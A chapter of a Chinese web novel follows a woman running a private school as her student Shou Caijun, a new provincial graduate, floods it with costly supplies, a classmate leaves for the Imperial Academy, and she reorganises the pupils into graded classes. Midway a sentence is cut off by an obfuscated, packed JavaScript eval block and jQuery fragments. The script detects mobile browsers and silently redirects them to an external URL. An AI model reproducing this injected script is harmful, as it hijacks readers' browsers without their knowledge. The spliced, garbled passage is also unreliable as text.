五辆马车装载的物品被悉数卸下，用于扩建与充实学堂。谷觅看着寿家下人将一箱箱上等书籍、成套的笔墨纸砚搬入，又扫过手中那份详尽的礼单，对寿家的深厚财力有了直观的认识。


    她扭头看向在一旁回学堂之后便有些自得傻乐的寿才俊，不觉摇了摇头。


    果真是人傻钱多。


    这般手笔，连见多识广的余一和余三也被惊了片刻。谢府因谢舒在外的安排布置，一向是量入为出，不穷不奢，何曾有过如此挥霍的架势。


    休息几日后前来授课的左清，一脚踏入之后，看着焕然一新的学堂，瞠目结舌，连他常常用来休息的那间斋舍都被换了崭新的用具，不由得一怔，几乎疑心自己走错了地方。


    莫非，这处学堂已经被旁人购下？


    但当他在讲堂当中看见谷觅的身影之时，便放下心来。


    “谷先生，”他斟酌着开口，目光扫过那些崭新的物件，“可是近日酒楼生意格外兴隆？”他试图从旁推敲这变化的缘由。


    谷觅未答，只朝寿才俊的方向略一示意。左清顺其目光望去，心下当即了然。


    寿才俊案桌上的纸张和先前所用大有不同，是上好的松烟墨和极佳的桑皮纸。


    “但这些纸张虽好，总感觉没有谷先生先前提供的那些用着方便。”寿才俊同左清抱怨道。


    左清闻言，轻轻一笑，瞥了眼那套显然所费不菲的纸笔，问道：“那你为何带这些过来，先前怎么没见你有用这些？”


    寿才俊叹了口气，露出几分无奈：“从前家中觉得读书科举是不合寿家规矩，而我一直在读书上没有进展，父亲期望我去经营家中生意，自然用度从简。”


    “此番中了举，父亲反倒觉得我如今是有了功名的人，若在外还用着旧物，显得家中寒酸，恐折了寿家颜面。故而一切吃穿用度，都勒令须用上好的。”


    左清若有所思，反问道：“只是，你如今人在学堂，起居用度皆在此处。你家中长辈，又如何能时时得知，你用的究竟是桑皮纸，还是他物？”


    寿才俊愣住，眨了眨眼。


    他张了张嘴，半晌才“啊”了一声，反应了过来：“对哦。”


    左清看着寿才俊换回了谷觅特别为他提供的纸笔，这些他在其他学生那边未曾看到过，似乎只有寿才俊才有，于是询问道：“谷先生这物似乎颇为特别，我在别处从未见过。不知这些物件，是从何处寻得？”


    “是先生单独给我的。先生吩咐过，此物只得自用，不能外传，亦不能多言。”


    话一出口，他便惊觉失言，急忙抬手捂住嘴巴，眼里满是懊恼。


    左清见状，并未继续追问。他将笔轻轻放回原处，面色如常。


    这位谷夫人身上，似乎也与大人一样，身上充满了秘密。


    ————


    寿才俊与段莆高中举人的消息，迅速从学堂扩散至整个州县，其中还有寿家的功劳，更多人知晓了这所学堂以及在此处任教的左清和段莆。


    寿家为庆贺此事不遗余力地宣扬，庆祝寿才俊考中举人。


    一时间，众多学子慕名而至，谷觅起初还增设了旁听席位，并特意准备了一套试题，意在从这群人中择优录取，扩大学堂。


    前来者虽众，但真心为求学问道而来的寥寥无几，大多怀揣别样心思。


    多数人是为结识新科举人以拓人脉，还有一部分人是想与寿家攀亲附贵。


    谷觅果断摒弃了单纯扩张的念头，她撤去了旁听席位，只留参加考试人士可以继续听课。


    然而，这些人一了解，创办学堂、主持考选的是一位女先生，而执教的左清又并非科场显达的名儒，便觉失望，当即转身离去，连考试也不愿参加。


    “谷先生，当下应当如何？”左清在一旁问道，目光扫过骤然清静了些的庭院。


    谷觅将收上来那寥寥数份考卷理好，递到他手中。“且先看看这些吧。人若太多，你也教不过来，反失了本意。”


    左清掂量了下手中的答卷，觉得谷觅说得倒也没错。


    几日后，待招生的事情彻底过去，寿才俊在完成当日功课后，觑见谷觅正好得闲，便整理衣袍，主动寻了过去，段莆亦安静地随在一旁。


    “先生，”寿才俊带着惯有的认真神情问道，“学生接下来的学习，又当如何安排？”


    谷觅看他一眼，并未多言，只转身取出一卷厚厚纸卷，递到他面前。


    寿才俊双手接过，展开的瞬间便愣住了。


    那纸页之上，密密麻麻，布满了工整却细如蚊蝇的小字。寿才俊只得眯起眼睛，凑近了才看得分明。


    “这便是你乡试之前，我同你说的那份安排。”


    寿才俊的嘴不自觉地张开：“这……这么多吗？”


    “嗯。”


    “纸上所列，你须得一一去经历。往后的日子，不单是闭门温书，更要躬身实践。”


    寿才俊顺着条目往下看，竟发现还有去医馆当一日学徒、去酒楼做一天伙计之类的项目，不禁愕然。


    “这些，是不是有些失了举人的体面？”


    “若觉为难，可以不做。”谷觅说着，伸手作势要将纸收回。


    寿才俊赶忙把纸一卷，迅速拢入袖中，“我做，我做。”


    “你有什么事？”解决完寿才俊这边后，谷觅便问向了静待在一侧的段莆。


    “谷先生，段某今日是来向您辞行的。”段莆踌躇片刻，终于开口。


    “学堂予我容身之所，悉心教导，我心中十分感激。只是，段某仍想去国子监进学。”段莆道。


    谷觅听了这话，许久未应。


    “那你呢？”她问向寿才俊。


    ？


    “我？”寿才俊先是一愣，随即猛地会意，脸上瞬间掠过一丝慌乱，急忙摆手，生怕晚上一分便被误会。


    ————


    送别段莆后，学堂复归于往日的宁静。当初收上来的考卷数目，与如今实际留在学堂中的人数，已明显对不上。


    那些慕名而来的学子，多有举人先生段莆的风采与名望，闻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151657|187997||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    听他已前往国子监进学，便也跟着离开了。


    左清将这一切看在眼里。一日，他与谷觅谈及现状，还在担忧学生数目虽较往日为多，但资质、进度各异，他一个人却着实有些教授不过来，虽说谷觅偶尔也会过来授课，但现在她更加关注的是大局上的掌控和变动。


    “不过，”他话锋一转，想到了寿才俊，语气中带上些许感慨，“他竟然还能保持本心，近日有很多乡绅宴请，他都不曾参加，对那些送过来的美色也毫不理会，相比之前，现在的他更加用功，只是不知整日对着一幅长长的卷轴，究竟在钻研些什么。”


    谷觅一脸意味深长地看着左清。


    左清对上她的目光，先是一怔，随即恍然，眼中掠过一丝惊诧与了然：“莫非那卷轴，是你给他的？”


    谷觅点头：““师资之虑，你暂且宽心。那清单之上，还有一项。”


    “成为学堂先生。”


    学堂中学子虽然增多，可先生反倒走了一个，大家水平又参差不齐，教起来实在费力。谷觅瞧着不是办法，便索性做了改革。她不再像以前那样把所有学生混在一起教，而是按着年龄大小、基础好坏和悟性高低，把学生们分成了初级班、中级班、高级班三个班。


    这么一分，教起来就清楚多了，各人有各人的去处。


    高级班由谷觅亲自带着，学生只两人——阿莲与寿才俊。给他俩备的课业截然不同，全是谷觅一手谋划。寿才俊的路子还是朝着科举去，而阿莲是她看好的，性子沉稳，心思也细，很合她心意，这里头不免存了份私心。


    将来这姑娘是留在学堂当先生，还是去她手底下的酒楼管账，都由得她选，但总归都是在她手底下干活。


    中级班交给了左清，新招的学子多半在此，学的自是科举正经学问。


    初级班则由寿才俊暂时领着教，阿莲从旁帮着照应，教一些四书五经之类的基础知识用于启蒙。


    除此之外，谷觅还留了个房间，打算日后开个特殊班，专教些实用本事，譬如经商、算账、辨识药材医理这些不靠科举也能安身立命的活计。


    分班的信儿一放出来，寿才俊先慌了神。


    自己备考已觉艰难，哪还敢误人子弟？


    可被分到初级班那些学子心中却乐开了花，走了一位授课的举人老爷，如今竟有新鲜出炉的解元亲自来教他们，只觉得脸上格外有光。


    寿才俊知晓他们对他的期待之后，肩上的担子反倒更沉了。他不敢有丝毫怠慢，白日里便专心观摩谷觅与左清是如何授课的，而夜间才开始温习自己的课业。


    这般连轴转下来，当初回家时脸颊上被喂出来的肉，竟也肉眼可见地消减了下去。


    转眼到了十月。


    朝廷的驿马快报骤然抵达各州府，明黄的告示贴满了城门街口。


    新皇登基，改元阜寻，大赦天下，普天同庆。


    为庆贺新帝登基，特开恩科，且于明年春、秋两季增加乡试、会试取士名额。


    消息很快便传到了谷觅耳中。